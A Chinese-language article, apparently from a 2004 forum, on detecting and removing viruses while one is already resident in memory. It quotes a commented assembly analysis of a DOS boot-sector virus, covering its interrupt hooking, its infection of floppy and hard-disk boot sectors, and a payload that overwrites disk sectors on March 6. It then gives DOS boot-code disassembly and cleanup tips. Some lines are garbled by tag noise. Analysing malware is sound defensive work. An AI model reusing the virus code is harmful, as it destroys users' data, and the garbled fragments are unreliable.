近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。
rS BI'op ??
_Rii19k ?? 一 、 带毒环境下检测清除病毒的意义
jy!]MAP#Gk ??
D j9aTO ?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。
kBR=a%kG ??
3k)xzv%r` ?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。
=IMmtOvJ ??
_h-agn4[i ?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。
jum"T\ ??
SF:98#pg ?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。
`Ow]@flLI ??
; CCg]hX ?? 二 、带毒环境下检测清除病毒的原理
FLMiW]?x ??
F6q=W#~ ?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。
z[c8W@OJ ?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。
ta)gOc)r
R 5?>4I"ne Ep;uz5 ^8 举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister "
l[T-Ak 病毒体:
)4ek!G]Rb JMP 01AF ;JMP到01AF
F+H]{ss> DB 00 ;病毒标计
v8f3B<kj DW 00F5 ;此为搬到高位址后,远程跳转指令
plWNuEW DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX
SiaNL: DB 02
*B|hRZka1A DW 0003 ;此为软盘识别标记,硬盘为0007
aze#Cn,P} DW EC59 ;
4@0aN6Os DW F000 ;INT 13H的原入口
#7 O7O~ .
DS(>R!bb .
Imhk U% .
=T[P .
daKZ*B| .
K]m#~J3d> XOR AX,AX ;清除AX
s=jmvvs_V} MOV DS,AX; ;让DS=0000
(10t,n$ CLI ;清I标志积存器
QlGK+I>y; MOV SS,AX ;把堆栈设为0000:7C00也就是开机
b/UXO$_~- MOV AX,7C00 ;后载入引导分区表的地址,目前地址
6-wpR MOV SP,AX ;开机时为0000:7CB6
"^$Ht`p[ STI ;设I标志积存器
v"1&xe^4 PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A
E"E(<a PUSH AX ;用RETF,把程序转到引导或分区表位置
1!1JT;gG^9 MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置
|Gz<I MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在
([q>.[WbH] MOV AX,[004E] ;取INT 13H的段地址
y ~
K8 MOV [7C0C],AX ;存到010C
@H?OHpJ"` ;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13
;&j'`tP ;读写以便传播发作
)W\)kDh! SdlO]y9E MOV AX,[0413] ;取得内存K数,放在AX
O<s7VHj DEC AX ;
>V(C>^%-> DEC AX ;减2k内存
R9A:"sJ MOV [0413],AX ;存回,通常是638K
2@a'n@- MOV CL,06 ;
KJT N"hF SHL AX,CL ;
T/|!^qLF MOV ES,AX ;算出减2K后病毒本体的位址
\2/X$x<?X MOV [7C05],AX ;AX存入0105
_ooHB>sH wetu.aMp ;病毒常用手法将系统高段内存减少以便驻留
gaXo)o S ;这样可以免于被其他程序覆盖
Zl3l=x h la{?&75] MOV AX,000E ;病毒拦INT 13H
t_Eivm-,B ;ISR起始的偏移量
js"Yh MOV [004C],AX ;
K;"H$0!9 MOV [004E],ES ;设原为病毒的INT 13H
WDY\Fj MOV CX,01BE ;病毒长度为1BE
[6VM4l" MOV SI,7C00 ;从JMP 01AF开始
)2).kL> XOR DI,DI ;DI=0
hXI[FICQU{ CLD ;清方向标志
28^/By:J REPZ;
LBG`DYR@
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或
.'M.yE~5J CS: ;分区表能载入0000:7C00正常运作
zKP[]S- JMP FAR [7C03] ;跳到为搬过后的位址
&pI\VIx ? XOR AX,AX ;清AX
;*qXjv&
K MOV ES,AX ;ES=0000
On);SN' INT 13 ;复位磁盘
O])vR< [ PUSH CS ;
,$Fh^KNo] POP DS ;让DS=CS
M
%zf?>]) MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则
{($m LfC4 MOV BX,7C00 ;读到0000:7C00
2+pw%#fe MOV CX,[0008] ;硬盘第0道,第7扇区
C3 "EZe[R CMP CX,+07 ;比较是否从硬盘启动
<IR@/b!, JNZ 0213 ;不是跳0213
i-0
:Fs MOV DX,0080 ;第一硬盘C:第零面
;fqp!|J INT 13 ;用INT 13号中断,读
:c]y/lQmV JMP 023E ;跳023E比较日期,发作或正常开机
G--vwvL MOV CX,[0008] ;软盘0道,第3扇区
%u%;L+0Q[ MOV DX,0100 ;A:的第0面
ypM,i INT 13 ;INT 13读盘
6T4"m JB 023E ;失败跳023E
9Y2u/|!.3 PUSH CS
;
]%fFcy POPES ;让ES=CS
9*iVv)jd MOV AX,0201 ;
1N _"Mm{ MOV BX,0200 ;
[uqr MOV CX,0001 ;
}%wP^6G*x\ MOV DX,0080 ;
P:6K INT 13 ;读入C:的分区表到0200,以便下面比较
jR1^e$ JB 023E ;失败跳023E
Nkb%4ofKqu XOR SI,SI ;清SI
AIl`>ac CLD ;清方向标志以便比较
TCzz]?G]la LODSW ;载入一个WORD到AX
IJ.H/l}h CMP AX,[BX] ;比较有无病毒存在..E9AC
`ci
P JNZ 0287 ;没有则跳0287传染
Onqapm0 LODSW ;载入一个WORD到AX
n\Is}Czl CMP AX,[BX+02] ;再次确认..0000
LGy62 y$ JNZ 0287 ;没有跳0287
0e>?!Z
E XOR CX,CX ;清CX
L~+aD2E { MOV AH,04 ;
>}.~Y#Ge INT 1A ;取得日期
&z3_N CMP DX,0306 ;是否为三月六日
(Ajhf}zJ JZ 024B ;是跳024B传染
2 br>{^T RETF ;把程序交还给引导启动完成
KX x+J}n 8u[.s`^ 步骤4:病毒INT 13代码分析
b7xOm"X,N 方法:U
>*/
|tL PUSH DS ;首先把要用到积存器
f(}&8~ & PUSH AX ;入栈保存
\W_ Dz*N OR DL,DL ;比较是否为软盘
++w{)Io Z JNZ 002F ;如不是则退出传染
`&a8Wv XOR AX,AX ;AX=0
aU +uPP MOV DS,AX ;数据代段=0
\zVp8MMf TEST BYTE PTR [043F],01 ;比较是否为A盘
eiOAbO#U JNZ 002F ;不是则退出
z1RHdu0;z POP AX ;将以上保存积存器
)e[q%%ks POP DS ;弹栈恢复
Wsd_RT }ww PUSHF ;压栈标志积存器
,f>^q" CS: ;以便执行原INT 13
b%F'Ou~ CALL FAR [000A] ;执行原INT 13
lKQjG+YF PUSHF ;再次压栈
LVP6vs CALL 0036 ;以便跳转到传染程序
tvJl-&'N POPF ;跳转到执行传染
G|?V}pZ RETF 0002 ;结束中断调用返回
'lC=k7@x POP AX ;恢复
(
K-7z POP DS ;堆栈
P[`>*C\9c CS: ;跳转到原正常INT 13
z4.|N JMP FAR [000A] ;地址执行
8oHIXnK E]{0lG`l ;此段代码中展现了病毒常用手法,利用标志积存器做跳转
ViOXmK" 4u p7:? 步骤5:传染过程分析
8f?o?c| 方法:U
~Gg19x.#uW 对软盘传染过程:
`h'Ab63 PUSH AX ;工
%,N-M]Jf PUSH BX ;作
V[44aN PUSH CX ;寄
2DZ&g\| PUSH DX ;存
YS9)%F=X PUSH DS ;器
'bji2#z[ PUSH ES ;入
UT_t]m PUSH SI ;栈
<1sUK4nQ, PUSH DI ;保存
Pmuk !V}f PUSH CS ;以压/弹栈方式
R $/q=*k POP DS ;使数据段DS和
Nde1`W]: PUSH CS ;附加段ES均指向
50S*_4R POP ES ;代码段CS
H6#SP~V MOV SI,0004 ;试4次
O> wGJ. MOV AX,0201 ;设置各
Hb!A\;> MOV BX,0200 ;积存器
Q Na*Y@i MOV CX,0001 ;为读软盘
R8% u9o XOR DX,DX ;引导扇区做准备
y(Pv1=e PUSHF ;压栈标志积存器
Sr6iQxE CALL FAR [000A] ;正常的INT 13调用
;%n(ARZ# JNB 0063 ;成功则转判断
$H,9GIivD XOR AX,AX ;不成功复位
{yBd{x<>/ PUSHF ;磁盘继续读
-RThd" CALL FAR [000A] ;如果4次
&6Wim<* DEC SI ;均匀不成功
jN+2+P%OL JNZ 0045 ;则退出跳转
up3mum JMP 00A6 ;退出传染
\bSakh71 XOR SI,SI ;SI=0以便用
H/#WpRg CLD ;LODSW读入软盘
fK4O
N'[R: LODSW ;第1或第2字进行比较
Xp|$z ~ CMP AX,[BX] ;比较如果不包含病毒标志
Df$Yn JNZ 0071 ;则跳转写传染
z_&T>ME LODSW ;如果已有标志
C5^N)-]" CMP AX,[BX+02] ;则退出
,l)AYu!q4F JZ 00A6 ;传染子程序
YBk* CW9 MOV AX,0301 ;为写盘准备
uvD*]zX MOV DH,01 ;如果是360K
Mb%[Qp60 MOV CL,03 ;则写到1面0道3扇区
w^$$'5= CMP BYTE PTR [BX+15],FD ;比较软盘
dfeN_0`- JZ 0080 ;如果大于360K
B<!wh MOV CL,0E ;写到1面0道14扇区
1N8YD .3 MOV [0008],CX ;写病毒标志到软盘
BGT`) WP PUSHF ;调用原INT 13
SkXx:@ CALL FAR [000A] ;进行传染
i;+<5_ JB 00A6
i\L7z)u MOV SI,03BE ;以下是将正常
^\PNjj*C i MOV DI,01BE ;引导扇区从
G>^ _&(c@2 MOV CX,0021 ;1BE起的21字节内容
1UH_"Q03 CLD ;搬移到病毒程序尾部
R<>uCF0 REPZ ;开始复制
YH[HJ#:7r MOVSW
wlX
K2D MOV AX,0301 ;写盘功能调用,写一个扇区
`\-mqe XOR BX,BX ;将病毒程序
28,HZaXhc MOV CX,0001 ;写入软盘引导扇区内
5sMyH[5zY XOR DX,DX ;设置为软盘
hcD.-(-;) PUSHF
iEBxBsz_ CALL FAR [000A] ;执行正常INT 13调用写盘
fVBu?<=d POP DI ;将
6[1lK8o POP SI ;工
0Szt^l 7 POP ES ;作
Fo|
rRI2 POP DS ;寄
dC}4Er POP DX ;存
Bk4|ik} POP CX ;器
|fWR[\NU POP BX ;退
^#j{9FpPs POP AX ;栈
2Y9@[ RET ;返回调用处
CY.i0 对硬盘传染过程:
`>$l2, MOV CX,0007 ;第7扇区
x@"`KiEUs MOV [0008],CX ;此处为硬盘引导标记
7y>{Y$n MOV AX,301 ;写功能调用
ez *O'U MOV DX,0080 ;设置为硬盘
*&yt;|y INT 13 ;将正常引导扇区写到0面0道7扇区内
[IuF0$w=dj JB 13E ;失败则转
|G>Lud MOV SI,03BE ;原分区表地址
}2_i<4,L MOV DI,01BE ;目标地址
;hU~nj+{ MOV CX,0021 ;整个分区表
NIOWjhi[Jn REPNZ
yNmzRH u MOVSW ;开始复制
u*H
V ;此段代码是将硬盘分区信息,搬移到病毒程序尾部
V}"w8i+D? ;这样在分析着查看硬盘分区信息时仍能看到该部分
*6*/kV?F ;内容,以次来麻痹分析者
0Z~G:$O/i MOV AX,0301 ;准备写病毒提进硬盘
EY
9N{ XOR BX,BX ;病毒体位置
bG9$ &, INC CL ;第一扇区
~Aq$GH4 INT 13 ;开始写盘传染
<q#/z&F! JMP 013E ;转到13E处判断是否为3月6日,是则发作
XB-l[4? *+'l|VaVq\ 步骤6:破坏过程分析
naKB2y]l 方法:U
e$@a zi1 主要分析对硬盘数据破坏:
t12 xPtN1 .
o.H(&ex| .
oT27BK26?h .
p=U5qM.O .
:Qra9;
Y .
`]:&h' MOV DL,80
vErlh:~e MOV BYTE PTR[0007],04
E; Z1HF
R ;准备写硬盘
['n;e:* MOV AL,11 ;写17个扇区
$3MYr5
MOV BX,5000
4
U`5=BI MOV ES,BX ;从内存ES:5000中处开始写
0?nm`9v6 INT 13 ;残不人睹
,=kQJ| JNB 0179 ;成功转179继续写
|F#L{=B XOR AH,AH
t{)J#8:g INT 13 ;不成功复位磁盘继续
CK+_T}+- INC DH ;使写操作磁头加1继续?
gcfEJN4' CMP DH,[0007] ;比较是否小于0007单元值
(t)a u JB 0150 ;是则返回开始处继续写
K2R[u#Q XOR DH,DH ;DH=0
pI|H9 INC CH ;再加扇区
*z
A1 NH5 JMP 0150 ;反回继续写
S7
Tem:/ ;以上操作实际上是对硬盘执行4次写操作,每次17个扇区
2r=A' ;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录
v'zf*]9 ;和文件分配表。
55T c c,I|O'
&k 引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次
cU'^
Ja?% 读盘的时将自身写入磁盘。
Lcyj,R 引导过程如下:
$VCWc# 1>调整堆栈位置
$w$4RQk3n 2>修改并用修改后的磁盘参数表来复位磁盘系统
7EAkY`Op 3>计算根目录表的首扇区的位置及IO.SYS的扇区位置
[8QE}TFic 4>读入根目录表的首扇区
pP6pn~} 5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS
n7S~nk 6>将IO.SYS文件开头三个扇区读入内存0000:0700H处
Q@lJ| 7>跳到0000:0700H处执行IO.SYS,引导完毕
&t\KKsUtd 003E FA CLI
C}{$'#DV2 003F 33C0 XOR AX,AX
= ,=t Sp 0041 8ED0 MOV SS,AX
Ag`:!* 0041 8ED0 MOV SS,AX
G6b\4}E 0043 BC007C MOV SP,7C00 ; 初始化堆栈
n3kYVAgF 0046 16 PUSH SS
M6J/S 0047 07 POP ES ;(ES)=0000H
_ADK8a6%) 0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H
:A{ US9D 004B 36 SS: ;(SS)=0000H
|H4/a;]~ 004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI
\;>idbV 004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表
&v^LxLt+s 004F 56 PUSH SI ;取到后压入堆栈中保存
E}$K&<J'- 0050 16 PUSH SS
-l!;PV S| 0051 53 PUSH BX ;保存地址0000:0078H
QDC]g.x 0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推
>Cjb|f3'i} 0055 B90B00 MOV CX,000B ;磁盘参数表共11字节
@: s |X 0058 FC CLD
>aZ$x/U+Iw 0059 F3 REPZ
`8 Dgk} 005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处
y^oSVj 005B 06 PUSH ES
Y`u.P(7# 005C 1F POP DS ;(DS)=0000H
q)uq?sZe 005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间"
@"m?
# 0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数"
IYy2EK[s 0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数"
AdtAc$@xK 0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址)
&r;4$7 006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号
Pxj?W'| 006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表
VlVd"jW 0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘
WJ+<&6W8 0072 7279 JB 00ED ;出错则转出错处理
EK^ld!g( N(]>(S
o ; 下面一段程序计算扇区位置
m*BtD-{ 0074 33C0 XOR AX,AX
K/y#hP 0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数
'~E&^K5hr 007A 7408 JZ 0084 ;为零表示大硬盘?
5UwaBPj4 007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处
By8C-jD 0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的
^L;`F 0084 A0107C MOV AL,[7C10] ;取FAT表的个数
yp=2nU"o 0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数
MOFIR
wVZ+ 008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位)
he/UvMu 008F 13161E7C ADC DX,[7C1E] ; 高位
Xa2QtJq 0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位)
(l.`g@(L 0097 83D200 ADC DX,+00 ; (高位)
`bGAc&,& 009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位)
sYt8NsQ 009D 8916527C MOV [7C52],DX ; (高位)
3H%oTgWk 00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位)
> @ulvHL 00A4 89164B7C MOV [7C4B],DX ; (高位)
P(W7,GD,k 00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节
/R< Q~G|\ 00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数
ipEsR/O 00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数"
*fq=["O 00B3 03C3 ADD AX,BX ;这两条指令是为了取整
Nd&u*&S 00B5 48 DEC AX
kg$<^:uX 00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数
~h;c3#wuc 00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位)
+[JGi"ca 00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位)
.( vS/ ;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS
5M~\'\; 00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值
IiACr@[?e 00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位)
"YGs<)S 00C8 A1507C MOV AX,[7C50] ; (低位)
/0 ,#c2aq 00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号
%/H 00CE 721D JB 00ED ;出错则转出错处理
@fp(uu 00D0 B001 MOV AL,01
)jp#|#h 00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇)
6P'
m0 00D5 7216 JB 00ED ;出错处理
'Z-jj2t} 00D7 8BFB MOV DI,BX ;内存缓冲区的首址
G1Cn[F;e 00D9 B90B00 MOV CX,000B ;比较11个字节
}0T1* .Cz 00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节
i+&*W{Re 00DF F3 REPZ
"6n~,$ 00E0 A6 CMPSB ;看第一项是否为IO.SYS
Pb.-Z@ 00E1 750A JNZ 00ED ;不是则出错
A8OV3h6] 00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项
S*:b\{[f> 00E6 B90B00 MOV CX,000B ;比较11个字节
:JqH.Sqk 00E9 F3 REPZ
un[Z$moN" 00EA A6 CMPSB ;看第二项是否为MSDOS.SYS
#5T+P8 00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理
+"a .,-f! <!&&Qd-d6H ;下面一段进行出错处理
DL2gui3 00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..."
;KmSz 1A 00F0 E85F00 CALL 0152 ;显示字符串
POc<
G^ 00F3 33C0 XOR AX,AX
~l-Q0wg 00F5 CD16 INT 16 ;等待任一键按下
"}|n;:r 00F7 5E POP SI
<UG}P \N 00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H
`I<*R0Qe 00F9 8F04 POP [SI]
!E> *Mn 00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容
R{3f5**0 00FE CD19 INT 19 ;自举
jGEUl=W
0100 58 POP AX
)5Kzq6. 0101 58 POP AX
&|H?J,> 0102 58 POP AX ;清理堆栈
V2%FWo| 0103 EBE8 JMP 00ED ;再次试图起动
W\zg#5fmK qU#Gz7/ ;下面读入IO.SYS的头3个扇区到内存0000:0700H处
q[l},nw 0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号
7,_N9Q]rB 0108 48 DEC AX
AMvM H 0109 48 DEC AX ;首簇号减二
TC3xrE:U<m 010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数
mz[rB|v"/7 010E 32FF XOR BH,BH
K%>uSS? 0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数
9xC,i
) 0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号
ZYrXav< 0116 13164B7C ADC DX,[7C4B]
-.1x! ~.jX 011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值
(eN\s98)/ 011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区
0,nDyTS^ 0120 50 PUSH AX ;逻辑扇区号进栈(低位)
]xA;*b;|h 0121 52 PUSH DX ; (高位)
5>q|c`&}E 0122 51 PUSH CX ;循环计数器进栈
u%#bu^4" 0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号
Z*nC
;5Kd 0126 72D8 JB 0100 ;出错处理
_I~W!8&w> 0128 B001 MOV AL,01
$r9Sn 012A E85400 CALL 0181 ;读一个扇区到内存缓冲区
H(!)]dO 012D 59 POP CX ;循环计数出栈
,~gY'Ql 012E 5A POP DX
o8RagSIo8 012F 58 POP AX ;逻辑扇区号出栈
'>Y"s| 0130 72BB JB 00ED ;读盘出错处理
vj^vzFb K 0132 050100 ADD AX,0001
;&P%A<[` 0135 83D200 ADC DX,+00 ;下一个扇区
JMw1qPJQ 0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小
r<Ll>R 013C E2E2 LOOP 0120 ;循环读入三个扇区
xe|o(!( 013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS
wCvtw[6 0142 8A16247C MOV DL,[7C24] ;取"系统文件所在的驱动器号"
mT>56\63 0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的逻辑扇区号
x9~d_>'A 014A A14B7C MOV AX,[7C4B]
7f'9Dm` 014D EA00007000 JMP 0070:0000 ;执行IO.SYS,引导完毕
RT8xU;
;显示字符串的子程序
veAGUE
%3 0152 AC LODSB ;从串中取一个字符
5Y"lr Y38 0153 0AC0 OR AL,AL
*\I?gDON 0155 7429 JZ 0180 ;为0则已到串尾,返回(共用RET指令)
myFjw@ 0157 B40E MOV AH,0E
>.SU=HG; 0159 BB0700 MOV BX,0007
.ev'd&l. 015C CD10 INT 10 ;显示该字符
d5%A64? 015E EBF2 JMP 0152 ;循环显示下一个
"MKgU[t ;将逻辑扇区号转换为物理扇区号的子程序
"o`N6@[w^ 0160 3B16187C CMP DX,[7C18] ;这两条指令是为了避免第二次除法时除数
8,#v7ns}# 0164 7319 JNB 017F ;为0
;_,= 0166 F736187C DIV WORD PTR [7C18] ;逻辑扇取号除以每道扇区数,商(AX)=总磁
b|wCR% 016A FEC2 INC DL ;道数,余数(DX)再加一即为扇区号,因为扇
"Nn/vid; 016C 88164F7C MOV [7C4F],DL ;区号是从1开始的,而不是从0开始
NHUx-IqOX 0170 33D2 XOR DX,DX
G{i}z^n 0172 F7361A7C DIV WORD PTR [7C1A] ;总磁道数(AX)再除以面数,所得的
\q(RqD 0176 8816257C MOV [7C25],DL ;余数(DX)=面号(即磁头号)
'd^U!l 017A A34D7C MOV [7C4D],AX ;商(AX)=磁道号
X26gl 'U 017D F8 CLC
a [iC!F2 017E C3 RET ;正常返回
Jt.dR6, 017F F9 STC
q*\#HC 0180 C3 RET ;异常返回
uv}[MXOP ;读一个扇区的子程序
,+KZn}> 0181 B402 MOV AH,02 ;读功能调用
s$:F^sxb 0183 8B164D7C MOV DX,[7C4D] ;需要的入口参数如下:
pRD8/7@(B{ 0187 B106 MOV CL,06 ;(DL)=驱动器号
"CB* 0189 D2E6 SHL DH,CL ;(DH)=面号
L=Fm:O'#2 018B 0A364F7C OR DH,[7C4F] ;(CH)=磁道号
# h]m8 018F 8BCA MOV CX,DX ;(CL)=扇区号(第6,7位为磁道号的高2位)
ea=@r
Ng 0191 86E9 XCHG CH,CL ;(AL)=要读的扇区数
/fWVgyW>6 0193 8A16247C MOV DL,[7C24] ;(ES:BX)=缓冲区首址
k ;R*mg*K 0197 8A36257C MOV DH,[7C25]
Ti!j 019B CD13 INT 13
QSW62]=vV 019D C3 RET
p V(b>O 9x下的主引导/引导扇区没大区别,为了识别大分区用了一个INT 13的扩展调用42H。
kz(%8qi8& S`BLwnU`# ??
+eZR._&0 ?? 既然病毒是通过接管中断来获取传染和破坏的机会,那么我们是否有办法找回被病毒接管的中断 服务程序的地址,从而杀毒软件可以直接调用原中断,避免激活病毒? 笔者认为这是可能的,因为病毒在接管中断后,一般只对读写操作 、文件操作和执行等子功能调用感兴趣,对于其他一些功能调用,病毒只是简单地调用原中断服务程序进行处理,并通常使用下列指令进行调用:
5v=%pQbY ?? jmp xxxx:xxxx
k+{-iPm{ ?? call xxxx:xxxx
>o>r@; jmp far ptr cs:[xxxx]
4WG~7eIgy call far ptr cs:[xxxx]
!uii|" ??
@3K)VjY7 ?? 以INT21H为例,我们可以调用取DOS版本号的子功能3306H,对整个调用过程进行单步跟踪,并假设病毒驻留的段地址与INT21H原中断段地址是不同的,如果调用过程中CS发生改变,我们把每次CS改变后 执行的第一条指令的地址都记录下来,那么INT21H原来的中断地址也必定在其中。
07DpvhDQ ??
|rka/_ ?? 但记录的地址不止一个,究竟哪个是我们所要找的呢?这里我们可以假设病毒在调原中断服务程序时把各个寄存器(指AX、BX、CX、DX 、SI、DI、DS、ES)都设置成我们调用时所设置的值,同时真正的中断服务程序返回时又会改变寄存器的值,这个假设在绝大多数情况下都是正确的,从该假设出发,只需在各个寄存器值有改变的情况下,记录下每次CS改变后的第一条指令的地址,那么在中断返回后,记录中的最近一个地址就是所需找的原中断地址。需要指出的是,如果内存中还有其他驻留程序也接管了INT21H所找到的地址同样绕过了这些驻留程序。
>lU[
lf+/ --------------------------------------------------------------------------------
4iBp!k7 作者: 网络虫虫 时间: 2004-5-28 10:02 标题: [杀毒请注意]新老朋友请阅反病毒技巧 敬请补充指正
*T*=~Y4kE `$jc=ZLm 发现病毒,但是无论在安全模式还是Windows下都无法清除怎么办?
VJS|H!CH ~(aQ!!H6 由于某些目录和文件的特殊性,无法直接清除(包括安全模式下杀毒等一些方式杀毒),而需要某些特殊手段清除的带毒文件。以下所说的目录均包含其下面的子目录。
suN{)" 1、带毒文件在\Temporary Internet Files目录下。
=LL5E}xP 由于这个目录下的文件,Windows会对此有一定的保护作用(未经证实)。所以对这个目录下的带毒文件即使在安全模式下也不能进行清除,对于这种情况,请先关闭其他一些程序软件,然后打开IE,选择IE工具栏中的"工具"\"Internet选项",选择"删除文件"删除即可,如果有提示"删除所有脱机内容",也请选上一并删除。
.vj`[?T 2、带毒文件在\_Restore目录下,或者System Volume Information目录下。
EkgS*q_ 这是系统还原存放还原文件的目录,只有在装了Windows Me/XP操作系统上才会有这个目录,由于系统对这个目录有保护作用。对于这种情况需要先取消"系统还原"功能,然后将带毒文件删除,甚至将整个目录删除也是可以的。 关闭系统还原方法。WindowsMe的话,禁用系统还原,DOS下删除。具体请参考下文:
<- Q=h?D http://community.rising.com.cn/Forum/msg_read.asp?FmID=33&SubjectID=2028691&page=1。XP关闭系统还原的方法:右键单击“我的电脑”,选“属性”——“系统还原”——在“在所有驱动器上关闭系统还原”前面打勾——按“确定”退出。
xI55pj* 3、带毒文件在.rar、.zip、.cab等压缩文件中。
I#zrz3WU 现今能支持直接查杀压缩文件中带毒文件的反病毒软件还很少,即使有也只能支持常用的一些压缩格式;所以,对于绝大多数的反病毒软件来说,最多只能检查出压缩文件中的带毒文件,而不能直接清除。而且有些加密了的压缩文件就更不可能直接清除了。
CDQ}C=4 要清除压缩文件中的病毒,建议解压缩后清除,或者借助压缩工具软件的外挂杀毒程序的功能,对带毒的压缩文件进行杀毒。
_{)e\n 4、病毒在引导区或者SUHDLOG.DAT或SUHDLOG.BAK文件中。
$*V:;-H 这种病毒一般是引导区病毒,报告的病毒名称一般带有boot、wyx等字样。如果病毒只是存在于移动存储设备(如软盘、闪存盘、移动硬盘)上,就可以借助本地硬盘上的反病毒软件直接进行查杀;如果这种病毒是在硬盘上,则需要用干净的可引导盘启动进行查杀。
w7$*J:{ 对于这类病毒建议用干净软盘启动进行查杀,不过在查杀之前一定要备份原来的引导区,特别是原来装有别的操作系统的情况,如日文Windows、Linux等。
Q9H~B`\nQ 如果没有干净的可引导盘,则可使用下面的方法进行应急杀毒:
D'F=v\P (1) 在别的计算机上做一张干净的可引导盘,此引导盘可以在Windows 95/98/ME系统上通过"添加/删除程序"进行制作,但要注意的是,制作软盘的操作系统须和自己所使用的操作系统相同;
k, &